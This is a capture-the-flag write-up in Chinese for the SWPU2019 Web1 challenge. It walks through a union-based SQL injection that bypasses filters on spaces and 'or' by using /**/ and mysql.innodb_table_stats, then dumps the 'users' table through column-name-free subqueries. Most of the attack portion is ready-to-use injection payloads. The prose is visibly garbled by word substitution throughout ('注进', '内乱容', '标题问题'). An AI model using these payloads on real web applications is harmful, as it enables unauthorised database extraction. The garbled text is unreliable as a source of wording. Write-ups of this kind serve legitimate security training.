[SWPU2019]Web1（无列名注入）

那些年的记忆

每天一题，记载进修

标题问题有几个处所把我坑惨了，哈哈哈

起首试了一下注册一个admin账号，然后便发明admin曾经被注册

然后便开端试了一堆admin的密码停止爆破，人愚了，考面压根便没有正在那。
间接注册一个号出来看看

公布告白的地位又让我念起了 XSS，然后便又受骗了

实在那是一讲SQL注进的标题问题，太坑了吧

经由过程简朴的测试，过滤了空格，or，and，--+，#等等
由于那里过滤了 or，以是information_schema库天然是也用没有成了，以是便用到了无列名的注进方法
详细用法能够看看我的另外一篇文章
无列名注进
由于 or 不克不及用，天然 order by 也出得用了
先试一下字段数，好家伙，22列

  -1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

爆库名

  -1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

爆表名

  -1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

推测users的列数

  -1'/**/union/**/select/**/1,(select/**/1,2/**/union/**/select*from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

-1'/**/union/**/select/**/1,(select/**/1,2,3/**/union/**/select*from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

users的列数为3列，然后再用无列名注进把内乱容报出去

  -1'/**/union/**/select/**/1,(select/**/group_concat(a,b,c)/**/from/**/(select/**/1/**/as/**/a,2/**/as/**/b,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)as/**/d),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

免责声明：假如进犯了您的权益，请联络站少，我们会实时删除侵权内乱容，感谢协作！